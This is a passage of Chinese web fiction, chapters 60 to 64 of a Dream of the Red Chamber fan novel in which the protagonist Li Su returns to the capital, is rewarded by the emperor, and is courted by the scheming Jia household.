“陛…陛下,飞鱼卫鸽信儿急报,李素找到了,同行的还有滇王爷,正在往京师来,另外李素还说……还说。” 雍和帝猛的站起身,面色大喜:“好,好,太好了!” 虽说银子没了,但李素找到了,河道清淤省下的银子,同样能办不少事儿了,同样重要的是政治符号,可以立起来了。 随后疾步上前一把抓住了夏守忠的前襟:“狗奴才,李素还说什么?” 夏守忠左右看了看,低声道:“说让皇上派人密查军营卫所。” “怎么查?详细奏报呢?” “在老奴这里。”夏守忠掏出一张薄纸,递给了皇帝。 雍和帝拿过来后,看完眼神就是一缩,他看出来了一波匪,两路军,江南大营还有活人已经很不错了,随后他面色阴沉:“让夏方速来!” 夏守忠答应一声,就要出门。 “对了,迎船照旧,让京师里的老爷们,看看江南杀敌归来的英雄…你刚才还说滇王?小四?呃……算了,你去吧?” 夏守忠转身叩了个头走了。 午后。 皇帝的銮舆出行,百官随护,前往了通州码头。 车里白后不由得开口:“陛下,小四是怎么跟李素走到一起去的?” 雍和帝少有的笑了:“小四代我,于家庙修行祈福,现在算来已经到日子了,约么是这两个孩子在彭城遇见了。” 白后捂嘴轻笑:“一路相持,他们还挺投缘,都是好孩子。” 雍和帝看着白后绽放的绝美姿容,恍惚了一下,随后摇了摇头没说话。 外面一群不情不愿的百官和勋贵,则是一副看笑话的心态,残兵败将也值得一迎? 杨间已经行船到了终点,却被勒令原地等待。 说皇上要来,百官也来,他一时间心又提了起来,没了李素,没了滇王,他怎么交代?这不是逼死自己么? 此时通州外,奔来一匹快马。 正是李素和李元亨,眼见看到了通州城门,他把马步放缓,看了看自己的衣裳,思索了一下。 随后在把自己的外袍撕出几个大口子,然后又把裤子撕破,踢掉一只靴子,最后摘掉头上的额带,把头发弄散。 妥了! “你在作甚?咱们到哪了?”李元亨忽然问道。 他的头捶在马腹,本来就被颠的头昏脑胀,此时更看不到李素的操作,听到动静不由的开口了。 “作秀,驾!” 纵马朝着通州城门奔去。 冬至日,黄昏前,少年散发佩剑入神京。 第60章 为皇上贺 通州码头。 偌大繁华的码头,就像是被人摁下了暂停键。 原本喧闹嘈杂的码头变得鸦雀无声,五条经历战火、破旧不堪的福船静静地停靠在岸边。 船体斑驳,船帆不见,只剩桅杆焦糊耸立,残阳映照下,仿佛被重新挂了层血色,惨烈肃杀。 杨间头裹血布,身后是一百多名破衣烂衫,面色悲壮的兵卒。他们个个神情肃穆,紧咬牙关,挺直了胸膛,整齐划一地排列在銮舆驾前。 一股悲歌慷慨之气弥漫开来。 现场的勋贵百官也好像被这气息感染了,一时间表情肃然。 銮驾帘起,杨间心中一紧,正欲上前拜君,就听:“免跪!”声传出,止住了他的动作。 随后雍和帝迈步下车,白皇后紧跟其后,表情肃穆。 雍和帝看了看远传的船,看了看杨间,随后注目每个兵卒,又瞥了一眼随驾百官,一股豪气就在胸中涌动起来,就欲开口。 忽然马蹄声动,一声长啸从远处传来。 百官闻声哗然,扭头张望,只见一匹黑马狂奔而来,马上骑士披头散发。 随着马蹄声近,声声嘶喊而起,响彻四野。 “……扬州李素,击匪千人,护银入京,为皇上贺!” “……扬州李素,道君点化,圣君在朝,为皇上贺!” “……扬州李素,道君降瑞,节银千万,为皇上贺!” “……扬州李素,再击敌贼,救滇王驾,为皇上贺!” …… 金吾卫听令不阻其路,随着马到近前,迎着夕阳余晖,少年的身影好似被镶了一道金边,呼啸而至。 李素滚身下马,单膝跪地再次放声:“李素来了,皇上万岁!” 随着这一声喊出,百官勋贵同时跪地:“万岁!万岁!” 随后江南大营跪地:“万岁!万岁!” 再远处,护驾的金吾卫,羽林军、净街的五城兵马司、被挡在外面的百姓黎庶:“万岁!万岁!” 山呼海啸! 随着皇后也跪在一侧,雍和帝低头看向了跪地少年,笑容从他的嘴角开始晕染开来,他平生从未有过如此畅快。 好少年!好臣子! 把他今日出行的位格拉满了! “平身,哈哈哈!宣旨!” 跪地的李素有点儿走神儿,前面桃形是谁的? 但见对方好像感到了自己的目光,像是要转身抓他了,心虚的他恋恋不舍移开视线,暗叹一声,老子长大了啊。 随后开始安心听旨。 听着听着就不对劲儿了,花园子爵,花园子?什么鬼名号? 随后他张大了嘴巴,给的太多了,王府一座,京郊皇庄一座,贡田万亩,关外皇庄五万亩,金万两,贾元春长史? 夏守忠念完圣旨,提醒道:“李素,还不接旨谢恩?” 嗯? “皇上,花园子晕过去了!” “快,传太医!” 此时马背上传来一个嘶哑的声音:“还有老子……” “滇王?” “小四!” “我的儿!” 而百官之中,工部队伍中也传来了呼叫声:“贾郎中,你醒醒……存周兄,你醒醒…快叫太医。” 还在发懵的贾珍跟贾赦听见动静,赶紧往工部那边跑去。 贾政本来还挺乐呵,自己妹夫的弟子无事,又弄出这激荡人心的好大场面,他心有荣焉。 但是在听到自己的女儿,被派给新任子爵做长史后。 眼睛一翻就晕了过去。 …… 李素缓缓睁开双眼,发觉自身正置身于一座宽阔而温暖的大殿内,躺在殿中的矮榻上,一股清幽的香气沁入鼻中。 他环顾四周,只见明亮的宫灯高悬四周,宫女太监静立两旁,四周一片静谧。 再看一侧,李元亨正趴着大睡,臀部被白布裹了不知道多少圈儿。 有宫女见李素醒了,面上一喜就奔了出去,随后不久就听环佩叮当脚步声响,皇后带人进来了。 李素呆了呆,这么风华绝代的姐姐是谁。 他赶紧坐起身来拱手道:“见过这位姐姐!” “噗嗤!咯咯…哎呦~你这孩子……”白皇后纤指一点李素,捂嘴笑了起来,仿佛室内开满了百花,李素感觉更香了。 “花园子,这是皇后娘娘!”一旁的宫女提醒道。 “啊,臣…这……” 李素赶忙下榻,站起身行礼,但因为一日夜米粒未进,又起猛了,就感觉眼前一黑就往前倒去。 但却栽到了一个温暖所在。 白皇后面色不变,用力撑了一下李素的肩膀,向左右道:“快,扶花园子躺下,另外弄些吃食过来,顺便给陛下报个信儿。” 李素再次躺了下来,心下惴惴,自己可不是故意的。这是李元 亨的娘,我和李元亨亲如兄弟,一家亲! 那一家人,应该不打紧吧? 应该不打紧! 但真温软,羡慕嫉妒小时候的李元亨。 想到这里,他又看了一眼旁边呼呼大睡的光头强,目光温和。 白皇后坐在了他榻侧,见他连连看自己的儿子,开口说道:“不知者不怪,你不用担心小四,太医说了是皮外伤,将养些时日就可痊愈了。” 李素摇摇头:“娘娘,滇王天赋异禀,臣不担心,臣只是有些羡慕他。” 白皇后宽慰他:“生在皇家也不完全都是幸事,你看他在彭城枯坐一年不说,回来不也是九死一生?。” “娘娘你错了。” 白皇后笑着看他问道:“噢?你说说本宫错在哪里了?” “臣羡慕他的是,能有您这么一个温柔美丽的娘亲。” “噗嗤…哎呦,你这孩子,可真会说话。”白皇后嗔怪的看了他一眼,她心里是真开心,多少年没有笑过了?没有人赞她美貌了?没有人这么逗她开心了? 她看着这个英俊不像话的李素,愈加喜爱,不由得说道:“那你认我做个义母如何?” “不可!” “不…可……” “见过陛下,小四你醒了?” 皇后赶紧起身行礼,随后又看向了自己的儿子。 “哼哼!” 雍和帝一脸轻松的进了殿,身后跟着几个太监拎着食盒,他坐在了李素对面的秀墩上,阻止了要起身行礼的李素,开口道:“妙言,先吃饭。” “不忙吃,陛下,那五百万两银子没丢。” “什么!你再说一遍!” 雍和帝猛的起身,目光炯炯的盯住了李素。 皇后也愣住了,凤目不住的瞧他,心里不停的嘀咕,这个孩子到底是怎么生的? 李素正色答道:“臣在途中感觉不对劲,就秘密换了银子,先一步到京了,入内帑还是国库,还请陛下定夺!” 雍和帝听罢,不停的在踱步走了起来,边走边说:“好!好!太好了!哈哈,如海真是教了个好弟子。” 雍和帝好了,贾府是真的不好了! 冬至日的夜,贾府像被挂了两重寒。 第61章 怎一个蠢 寒冷的冬至夜。 贾母穿着诰命大妆,在大明宫外已经跪了一炷香,天寒人老,这么个功夫,眼见就有些撑不住了。 这时候宫门打开,大明宫总管太监戴权走了出来。 来到了贾母身边说道:“太后赐贾元春表字,思恩。老夫人回吧。” 贾母心中发冷,悲从中来,洒泪叩头:“谢太后恩典。” 随后在一旁宫女的搀扶下,颤颤巍巍的起了身,看着她出宫的戴权撇了撇嘴,回去禀报去了。 老皇帝坐在暗影里,心里快成麻花了。 他收到了儿子的小情绪,但能怎么办? 如果不是这个龟孙子,但凡是个瘸子、瞎子他也不会压制李素的爵位,给他那么个不伦不类的名号,也是故意让他成为笑柄,限制他。 这都是为了祖宗的江山,为了社稷稳定,自己未雨绸缪,却无法跟任何人明说,尤其是不能让皇帝知道,心里的难受劲儿就别提了。 贾家更是蠢,一边想脱武转文,一边又推王子腾掌军,这次如此大的动静,劫掠银船,没有你也要有你了。 更蠢的是,皇帝下的旨,来求自己是什么意思?逼着自己跟儿子斗么? 念贾代善旧情,不得已用思恩二字提醒贾家,算是全了恩义吧。 凤藻宫。 夏守忠匆匆进来,来到雍和帝身边耳语几句。 雍和帝冷哼一句:“蠢货!” 一旁趴着喝粥的李元亨嚷了起来:“父皇,儿臣可不蠢,那银子入内帑可是儿子拿命跟李妙言换的,儿臣的功劳可不能都让李妙言占了啊。” 李素放下粥碗拱手道:“陛下,滇王说的有理,他若不提醒,臣还不知道这银子进京还有这么多说道。” 白皇后拍拍儿子的肩膀,柔声道:“好了,好了,你父皇知道你的功劳,你的孝心,快喝粥。” “哼哼…”李元亨继续喝了起来。 李素顿时觉得自己碗里的粥不香了,不喝了! “妙言,你也快喝,不够还有,今日里一日未食,先吃些粥,待明日本宫让御厨做些好吃的给你。” “谢娘娘,臣就不客气了。” 说完他又端起碗继续喝了起来,真香! 雍和帝好似对这样的气氛不是太喜欢,皱了一下眉头,站起身来:“妙言用完,来西暖阁。” “恭送陛下!” 殿内众人起身行礼。 等皇帝走了,白皇后疑惑问道:“小四,你父皇不同意本宫认妙言做义子,自有他的考量,你为何也反对?” 李元亨把手里粥一停张口就说:“他骂……他不是个好人…母后可千万别被他的虚伪给骗了,他给我当儿子还差不多,我要好好教他长大,好好做人…嘎嘎嘎…哈哈…咳咳咳…” “你敢捶老子?” “嗯,我不孝!”李素继续捶。 “咳咳…母后!救我啊!” 白皇后见二人这么闹,就知道是他们感情好,于是就在一旁笑。 贾母回到了荣国府。 荣禧堂中,气氛压抑,贾赦、贾政、贾珍、贾琏都在坐,包括贾赦的续弦邢夫人、贾政的老婆王夫人、王熙凤都在房中。 贾母泪痕未干,进堂坐下后也不说话,满面哀伤。 贾政叹息一声开口:“母亲,我去求过北静王了,他那边也说没有什么办法,若是旨意未下还有可能,但现如今是不行了。” “母亲,不知道太后是如何说的?”贾赦问道。 “元春赐表字,思恩。” 贾赦愁眉:“这是何意?到底能不能让皇上收回承命?” 众人都期待的看向贾母,尤其是王夫人红着眼睛期待的看着贾母。 贾母摇了摇头。 贾珍在一旁开口:“赦大伯,太后的意思大概是雷霆雨露俱是君恩,遵旨行事吧。” 贾母泪眼婆娑,左右看了看在座的众人:“这荣禧堂,你们看看,这是列祖列宗的荣耀,今日里却蒙羞了哇……呜呜……” 随着老太太哭,王夫人也忍不住又嚎了起来:“我的儿啊,你的命怎么这么苦哇…为了府里在宫中任人驱使,经年不得见人,而如今却要受此……屈辱…儿啊…” 随后其余女眷跟着也是哀声一片,气氛越加悲戚压抑。 这王夫人悲伤还不忘施压给府里,真是个伶俐人。 但确实有效,连贾赦脸上都挂不住了。 贾赦拍案而起:“别嚎了,贾家爷们儿还没死绝呢!都是那昏……呃…那小贼!害我元春侄女!” 虽然二房倒霉,但这回却让他在圈儿里也没脸了,国公府的嫡亲小姐给一个子爵当长史,干迎来送往抛头露面的事儿,这跟光着屁股在大街上跑,没什么区别。 更不用说,以后的姻缘也断了。 贾政忽然想到个主意:“要不然,给如海去封信,让他给李妙言下令,将元春退回宫里 ?” 贾赦摇头晃脑:“二弟,不可行,这信一来一回需要多少时日?信到了,元春早就已经上任了,对,上任了。”不知怎么,说到这里他忽然有些想笑。 “大老爷有何妙策?”贾琏忽然捧了自己老子一嘴。 贾赦忽地站起身,好像突然脑子好使了,高声道:“那咱们就直接跟小贼说,让他退,不光咱们说,联合一众故旧老亲给他施压,他一个乡下来的土包子,哪里见过这么许多贵人,给他脸了!” 众人听完觉得有道理,纷纷点头,随后看向贾母,请她定夺。 贾母毕竟想的多一些:“见见人再说,先礼后兵吧。” 贾赦扭头向贾琏:“你球囊的派人去盯着他那新府,等他到了,赶紧把他给老子请来!” “大老爷,儿子以为不能光在那王府盯着,据儿子所知,那王府多年没有人居住,想必要收拾修缮的。他未必会去,元春妹妹也没那么快……上任。” 贾赦有些恼了:“说这许多屁话作甚,你到底想说什么?” 贾琏慌忙说结论:“儿子的意思是在宫门等着,他在京中也无落脚之处,直接请到家里来住。” 贾赦颔首:“况且欠了咱家的人情,话更好说了。” “这行吗?”贾政疑问,众人也都皱眉。 贾母一锤定音:“就如此办!他是如海的弟子,也算是半个贾家的亲眷,不违礼。” 李素此时正跟着夏守忠往西暖阁走,他也在琢磨,办完公事就要代师父师母去送年礼了,去了还出来么? 不行,得赖在贾府! 不住进贾府怎么完成对师母的承诺? 他发过豪言,要赚几个丫鬟回去的。 第62章 伴君奏对 李素完全想不到双方的想法竟然撞了。 “夏公公,银子都接收完了吧?” 夏守忠笑眯眯点头,忽然他放缓了脚步,低声说道:“李花园,贾元春被太后赐字思恩。” 嗯,嗯? 李花园是什么鬼? 什么意思? 夏守忠说了这么一嘴又是什么意思? 自己终于记起来这么一件事儿,贾元春是自己的长史了,这是皇上把自己的妃子赏给自己用了? 嘶~ 斯国一! 夏守忠见李素发愣,以为他不清楚其中的关系:“您府里被赐长史贾元春原是公众女史,其身份是荣国公府贾政嫡女,其祖母去求太后免去她的迁任,太后没见她,赐了表字。” 李素恍然,是了,贾元春还没封贤德妃,还在给皇后当书记官儿,不是皇帝的妃子,给了自己这是打贾府脸啊,贾家惹祸了么? “思恩?” 夏守忠笑眯眯的点头。 啧啧,这老太太何其蠢,不求皇帝,去求太后不就等于不给现任领导面子么? 还想有好日子过? 原著中贾府迅速败亡,未必没有这方面的原因,你老是去找过气的领导办事儿,膈应现在的领导,小鞋不给你穿给谁穿? 这心理上的站位就很有问题,老觉得自己的是老领导的人,那自然就跟新领导是离心的或者是对立的,更可能四王八公那伙人都是这种心态。 思恩,这个字用的好,字面的意思:想想皇家给你们的恩赏,就别闹了,想想现在谁能给给你们施恩,你拜错门儿了,以后多去现任领导那里烧烧香。 一个表字,拒绝又不忘给他们指条明路,高明! “多谢夏公公提醒!” 李素边谢边伸手往袖子里掏,尴尬了,这不知道谁给他换的新袍子,没银子! 夏守忠见状就知道什么意思,连忙摆手:“李花园不必如此。” 李素尴尬笑笑,拍了拍夏守忠的肩膀:“好吧老夏,我这新袍子,娘娘也没给我塞点儿零花钱,咱们往后处。” 他也明白了,这是皇帝让夏守忠提醒他的。 “对了,以后别叫我李花园,叫我妙言!” 夏守忠笑着点头,随后声音更低:“花园子是太上皇的旨意,原本皇上给您的爵位是忠瑞伯。” 李素这下完全确定了,就是皇帝让他转述的,这话皇帝自己不能开口。不过这太上皇是不是老糊涂了,跟自己也没仇啊,难道他跟皇帝的斗争很激烈? 不然为什么搞自己? 死老头子! 他带着一脑袋的问号进了西暖阁。 雍和帝正歪在榻上看折子,见他进来露出了一丝微笑,随后吩咐了一声:“给妙言看座。”随后继续看起了奏折。 夏守忠亲自给李素搬来了秀墩,李素一屁股坐下就等着雍和帝开口,谁知这一等就是半个时辰。 “有静气,你这一身的行伍之气怎么回事儿?在你那巡补营练出来的?” 雍和帝忽然开口,放下了折子看向了他,李素前世的习惯,坐立笔直,被雍和帝看出了端倪。 李素拱手:“陛下慧眼,臣的巡补营讲军姿,坐立走均有规制。” “额?说说都是什么模样?” “臣给您演示吧。” 说着李素就把立立正、跨立、蹲坐、齐步走、转向……等动作一一展示,雍和帝随着李素的演示眼睛越来越亮。 “好!不想你这个小秀才对军伍思量如此之深,深得秩序之妙。” “陛下谬赞。” “坐。” “谢陛下。”李素正要落座。 只听得雍和帝忽然又说了一句:“你一个帮忙捉贼的,为何弄得像是强军一般?” 李素一惊,停下了落下的屁股拱手道:“臣是为了省银子。” “如何省法?” 有了这个缓冲,李素的思路就顺了,赶紧编:“陛下,臣成立巡补营的初衷是为了帮师父,当初稽查营不可再用,盐丁人少,后来是为了赚银子,一个训练有素的营丁可以当三个人用,这样臣就省下两个人的银子,这就是利。” 雍和帝听完笑了,摆摆手:“坐,这才是实在话,不要紧张,你是林爱卿的弟子,就是朕的子侄,如海的身子怎样?” 李素坐了下来:“回陛下,师父身子骨不太好,能不能派俩太医长期驻在扬州。” “好,朕就全了你这一片孝心。” “谢陛下。” “详细说说这次银船之事。” “陛下,臣先告个罪,这次的银子是扬州宋家献给陛下的,他们走了臣的路子,臣牵的线儿,为了掩护他们,所以诈称黄家的赃银。当然臣也落了些余财,嘿。” 雍和帝哼了一声,但面上却是笑了。 李素瞄了一眼,心说对了,就这套路,显得自己忠心不藏 不掖。 “银船刚起,就被吴家的船撞了一下,臣意识到他们是有意的,于是就开始警醒了起来,但一路无事,一直到了沧州之后,事情才起了变化。” 他见雍和帝面色不好看,于是停了下来。 “吴家啊,你接着说。” “是,陛下,船被沧州码头拦了一日,臣事后寻思就好似在等什么人,臣请皇上查沧州河道衙门。” 雍和帝面色难看:“嗯,飞鱼卫刚来了信儿,沧州河道主官突发疾病而亡,你接着说。” “过了沧州之后,就受到了劫匪的攻击,杨大人和钟大人联合击杀了他们,臣以为危机就过去了,没想到接着又来了两伙儿人。” “一伙儿劫银子,一伙儿竟是不要银子,而是要臣的命。” 雍和帝沉默了一会儿缓缓开口:“你以为参与这次事件的都有谁?” “漕帮、吴家。” “朕听说漕帮抢你的生意了?” 李素急辩:“臣绝不是挟私报复,陛下您想啊,那些土匪哪会操船啊,除了漕帮也没有那么多船给他们用。” 雍和帝点点头:“还有呢?” “军队卫所,他们用了大黄弩!” 这事儿雍和帝已经知道了,问起了另外一件事:“你让飞鱼卫注意军营中的爆炸声是为何?” “臣在假银箱里放了火药,一开箱就会炸!” 雍和帝盯着他道:“你哪来的火药?” “臣按照书上记载配比的,原本是为了巡补营缉盗,后来发现不对,就用了个调包计来炸这些贼!” “何书?” “《抱补子》。” 雍和帝点头:“额,呵呵,朕倒是忘了,你还是个道家小神仙。” “都是父老乡亲抬爱。” 雍和帝看了看他骄傲的模样,有些嫌弃:“滚吧!”随后不再看他,低头又看起了奏折。 “那臣告退?” 雍和帝不再说话,挥了挥手。 李素随着夏守忠大步出了门,舒了一口气,真是伴君如伴虎,这一上一下的。 本来以为会来个,我得妙言如鱼得水!再不济也要夸自己几句,感激自己几句才对。 怎么就像审犯人一样。 算了,还是回凤藻宫吧,皇后多好。 夏守忠在一旁引路,开口道:“李爵爷,圣上吩咐,您暂时就住在宫里,把身体好好养一养,另外赐给您的宅子已经连夜在打理了。” 李素心说这还差不多,心里也大概明白了当皇帝对臣子的心态,已经施恩了,接下来就是做的好应该,做不好就该死,就这么现实这么冷漠。自己还要适应:“好,那咱们就回凤藻宫吧。” “为何要去凤藻宫?” “我不住凤藻宫么?” “不是。” 李素有些失落,那看不到皇后了。 第63章 二哥受委屈了 三日后,李素出宫了。 别过夏守忠,就见到了等在宫门口的李无色,一个多月未见头发又长了不少,再叫和尚就有点儿不合适了。 他此时也不是和尚做派,只见他坐在一人身上,翘着二郎腿,距离黑社会大哥,就差叼上一支烟了,一旁地上还有四五个小厮被几个巡补营的好汉给摁在地上。 再一侧是薛蝌与戴面纱的宝琴,激动的看向自己。 “大兄!” “素哥儿!” “小爷!” 一时间叫什么的都有,这场景搞得好像社会大哥出狱似的,尤其李无色又嚣张的坐在人家身上。 李素朝他们点点头,走过去拉过宝琴的小手,笑吟吟道:“让妹妹担心了。” 宝琴仰头,眼中星光点点,轻唤一声:“大兄。” 无色这个假和尚见他目中没自己,索性一屁股又坐了下去,臀下人又发出一声惨叫,接着对李素嚎起来:“花园子爵,李素兄弟,我是贾琏呐,荣国府的贾琏,您府中长史贾元春的堂哥,救我啊。” 贾琏也是无奈,解释李素跟林如海的关系,太绕了,说我是您师父林公家岳家中大房嫡子贾琏,听起来让人有些懵不说,更显得远。 所以无奈只得喊出了贾元春的身份,贾元春除了圣旨宣读外,第一次在外面被人唱名儿出自堂哥贾琏。 “喔,您这是怎么了?”江源走过来,蹲下身子问贾琏。 贾琏更难过了,心说你倒是先让我起来啊, 他心中极是委屈,已经三天了,在宫门口第一天跟半秃子这伙人撞见,自我介绍之后,就开始挨揍。 揍的也不重,更多的就是这么让人坐着羞辱,知道是李素的人,他不敢闹,更不敢摇人在宫门口跟他们干架。 更不敢第二天不来、 否则他老子就先得把他给废了。 他完全不知道为什么挨揍,他问了很多遍,对方就是不说,不搭茬儿,只用拳头说话。 无奈只好承受着,每日里被莫名其妙收拾一顿的苦楚。 只能靠晚间借着府里交待差事的由头应付王熙凤,去勾栏喝酒解耍女人来一解憋闷。 今天看见李素出来,终于拨云见日,眼见自己要解脱了。 听到李素问话,急道:“我也不知啊,打了我三日了,现在能否请您这朋友一抬贵臀,放我起来,我是来接李花园去府里暂住的,完全是一片好心呐!” 李素一喜,这不是送上门了么? “去你们府里住?” “就是如此!” “哎呀,看这事儿闹的,快快请起,误会误会。”李素一拍大腿,随后拽开了李无色,拉着贾琏就起身:“按理,我叫一声琏二哥也不为过,我在扬州都听师母提起过你,听说你已经成亲了?嫂子叫什么来着?” 贾琏被李素拽了起来,同时又被李素的热情和一顿絮叨弄的有点儿迷糊。 “呃…哈哈,王熙凤。” 李素边给贾琏掸去身上的土,同时笑着说道:“哈哈……二哥好福气,你叫我李素,素哥儿都行,说什么爵不爵的,二哥以后不也是要袭爵的?” 贾琏被李素这热情,这话捧得有些找不到点了,就好比他本来是抱着地狱难度来攻关的,谁知一接触变成了躺赢模式。 这完全出乎了他的预料,原来准备的词儿都用不上了,但贾琏到底是个伶俐人,接着李素的话锋就往下走。 贾琏赶紧行礼感谢:“兄弟太热情了,我哪里有什么福气?那王家妇……唉,不提她,我这袭爵就是祖宗的遗泽,哪比的上素哥儿你凭本事博来的?” 他到底还是觉得场合不对,给王熙凤留了面子,没有骂出来。 李素见他的回话,也大概摸清了贾琏的斤两,情商智商都算是不错。 接着他摇头道:“二哥此言差矣,夫妻嘛还是要和气,俗话说的好,如果你和谁有仇就把女儿宠坏然后嫁给他儿子,这样就害了他全家。” 贾琏愣住了,还有这样的俗话?不过听起来真特么有道理啊,他脑子开始飞了。 李素继续说道,语气掷地有声:“明显贾府跟王家是无仇的,那嫂子定然是个好女子,改日我与二哥与嫂子说和说和。” 贾琏听完感觉脑子有点儿不太够用了:我跟凤儿有问题么?好似有的,还不小,好似应该说和说和了。 但他到底是为正事儿来的,这点还是拎得清:“好,好,哈哈,素哥儿要不现在就随我过府如何?家里可都 在盼着呢。” 李素见他的话题回正,也不往他媳妇身上拐了:“琏二哥,我得先回林府,师父和师母有事交待,二哥如果有暇,可同二嫂一起来高乐。” 说完不待贾琏回话,就走到一侧拉起宝琴的手就上了马车:“走!” 随后马车开动,李无色、薛蝌等人快速上马跟了上去。 就这么走了! 留下了贾琏站在原地,他一阵迷糊,拍着脑袋回忆,李素到底有没有同意去贾府? “素哥儿,咱们去林府么?”车外响了李无色的话。 “先不去,先去看看你置办的窝儿。”李素扬声回了他一句,随后就和宝琴说起了话:“妹妹这些日子过的如何?习惯么?” 精致小花瓶薛宝琴点头:“就是担心大兄,林姐姐来时交待我许多事,我都没做好呢。” “玉儿都说了什么?” “就如今日里,大兄应着蓝色衣装,回府就应该换上呢,鞋袜衣裤都应是新的,还有每日里的用餐时候,歇息时候,都要时时有提醒儿……” 李素听着宝琴的话,思绪飘向了远方,宝琴的声音仿佛也悠远了起来,在耳边又似是在天边。 马车停到了一处看起来毫不起眼的宅子门口,李素下了车,随着众人往里走。 李无色在一旁说道:“素哥儿,你别看外面不起眼儿,里面好着呢。” “嗯,外面很低调,这宅子是怎么来的?” 只见进门后却是豁然开朗,入眼就是一片假山,完全遮蔽了后面的景象。 李无色笑道:“捡了个便宜,一个京官儿贪污被抓了,这宅子就被户部发卖了,刚建好还没住呢,哈哈。” 绕过假山之后是一片小湖,只不过现在已经结上了冰,小湖之后是一个大的迎客堂,堂两侧两个大院子,东侧是和一大片空地和营房,空地上摆着兵器和在操练的巡补营人马,飞狐正跟人对练。 李素没理他们,继续看西侧,是仆役和庶务居所,这就是前面的一进院儿了。 再往后走是花园院落,小院儿就有八个,占地阔大,这是二进。 最里面就是后宅,中央大院儿,四方配房众多,配着后花园儿。 这哪是三进?超级三进还差不多。 李素站在已经枯萎了的花园里,对宝琴使了个眼色,宝琴会意去了,剩下了李素和李无色。 “色叔,你为何要揍贾琏?” 第64章 贾琏要上位 贾琏一路迷糊着回了府里。 刚进府就被赖大拉住了:“二爷,去老祖宗房里,正找你呢。” 贾琏一愣:“都谁在?” “大老爷、老爷、大太太、太太、大奶奶、二奶奶、珍大爷都在。” 这里要说明一下了,大老爷就是指贾赦、老爷就是指贾政,同时大太太是贾赦的妻子邢夫人,也是贾琏的继母。 太太就是贾政的妻子王夫人,大奶奶是指贾政长子,也就是贾宝玉的亲哥哥贾珠的遗孀李纨,二奶奶就是王熙凤。 叫的这么迷糊,主要还是当初的公案,贾赦作为荣国府的承爵人,却被赶出了正院儿,住在荣国府的东侧院儿。 二房非承爵人贾政却住在正院儿,这其中当然有贾赦荒唐所致,更重要的是贾政的妻族是同为四大的王氏。 王氏入贾府是强势的。 否则作为小姑子的贾敏怎么会跟她斗了起来? 否则判词为凤冠霞帔的美人儿媳妇李纨,怎么会形容槁木死灰?尤其李纨一个饱读诗书的女子,内心非常富足的女人,看看她的表字,宫裁,诗书气浓郁。 能搞得她槁木死灰的也只有婆婆王夫人了,所以可见此人之心,更不用说黛玉后来进府了。 也因她的强势,贾政才得以二房入正院儿,所以她得了个太太名号,而不是按理称作二太太,二字去掉了,连带着贾政的二字也去掉了。 如果没有她的强势这是不合理的,因为这是红楼的称呼特点,就是带着排行的,就连贾琏的哥哥夭折了都还带着二爷叫,王熙凤是二奶奶。 所以贾宝玉非袭爵人得以宠爱,当然也不排除这孩子讨老太太喜欢,尤其王氏又给他安排了个衔玉的戏码。 这更讨老太太的欢心,但是妇人之见完全不懂国公府的嫡子衔玉而生是多犯忌讳的事儿。 玉是什么?也是璋,也是章,也是权! 幸亏老太太警醒了一回,传杨他抓周抓的是胭脂钗环,自小也安排了他生活在脂粉堆里。 所以荣国府就是一个乱了纲常,破了礼序的国公府,当然也包括宁国府,贾珍扒灰也说明了这一点。 回归正传,贾琏闻听就知道府里得到信儿了,等着自己回复呢。 他贾琏今日得了李素的热情,就有了在府里拔份儿的机会,他自觉要把握住,所以瞬间想好了词儿。 进得屋中,贾琏先对老太太行礼,然后是大老爷、老爷,最后还瞥了一眼凤姐儿,合该他贾琏一阵夫纲了。 今日老子要在上位! 眼见自己的亲爹面色有些不耐了,吓得一激灵,赶紧说道:“大老爷,那李素今日出的宫来,对儿子异常热情,还唤我做琏二哥。” 众人闻听心中都是一喜,态度说明一切,事情应该就好办了。 “那为何没有随你到府里来?”贾母忽然发问。 “老祖宗,他说要先回林府,林姑父和姑母对他有交待,他要先忙过才能来。” 贾母闻言点头:“嗯,倒是个孝顺的,如此倒是更好好办了。” 众人也颔首,逻辑上孝顺师父师母,那师父师母孝顺贾府老太君,你孝顺老太君就很合理,听从老太君的安排就对了。 “琏儿,此事办的不错,那何时来呢?” 贾琏志得意满,在府里这许多人面前被老太太认可,这机会他贾琏不像是贾宝玉,可太少有了。 听老太太问话,他早想好了词儿:“时间未定,但想必是林姑父的事情必是拜访京中故旧,时候他也拿不准确,所以未答复孩儿,不过他邀了我和凤儿去吃酒,说在京中无亲朋,要认下我们这哥哥嫂子。” 说完他又瞟了一眼王熙凤。 王熙凤不开心了,拿眼睛剜他!心说你嘚瑟个屁,只不过在老太太面前现眼一回,哪比的了老娘! 贾政却感到有些不妥,侄媳妇抛头露面合适吗?但一想到王熙凤本在府里管事,见外男是常有之事,也就没有开言。 贾母闻言笑起来:“好,此事就交给琏儿,继续办下去,鸳鸯去给琏儿拿二百两银子,他这冬日里跑来跑去也不易,还有凤丫头,多关心些自家爷们儿,看看这一身的土,袍子都旧了,鸳鸯把那绿锦大氅给琏儿拿来。” 这一通话,一通安排让贾琏简直不能相信自己耳朵,这挨顿揍竟然还得了这么多好处?真是意外之喜,飞来横财。 但他明白这都是因为李素,心说好兄弟,看哥哥表现吧! 而一旁的王熙凤面色讪讪,当着公 公和老爷,她情知不似平时,只有妇道人家的时候可以抖机灵,说俏皮话,所以躬身应了。 贾赦也满意,捋着胡须道:“你球囊的这回办的不错,有点子人样儿了。” 贾母不干了,拐杖一顿:“你别老是骂他,好好的哥儿,都是让你们给骂坏了!” “母亲,儿子晓得了。”贾赦连忙回话。 贾琏的心飘了,他今日就是荣国府最靓的崽儿! 今日是他贾琏的高光时刻! 虽然他得到的这些,只不过是贾宝玉的日常,但琏二爷,一个在家里经常被亲爹非打即骂,被老婆欺负的人,还是很容易满足的。 散会! 往自己院里走着,贾琏看了眼一旁伏低做小模样的王熙凤,又看了看默不作声来回在自己和王熙凤身上扫视的丫鬟平儿。 心中更是膨胀,等回院儿,房门一关。 他往椅子上一坐,二郎腿一翘就开声了:“平儿,今日里就给了我罢!” 王熙凤哇的一声就哭了出来:“我这就走,给你们腾地方,我回王家去,遭了你们贾家的嫌弃,我还有什么脸活着。” 说完就拿起剪刀,就要冲着自己扎去! 贾琏吓得顿时魂飞魄散,纵身就扑了过去,平儿也抱住了王熙凤,配合她表演。 好一出戏。 不说这两口子的闹剧,李素在后院儿留下李无色,就是要搞清楚他收拾荣国府的原因,这色叔叔藏的事儿,今日里非得给他挖出来不可。 李无色面色恍惚了一下,叹息一声:“事到如今我就说了,因为还有事情要拜托素哥儿你,我原名李吾渉。” 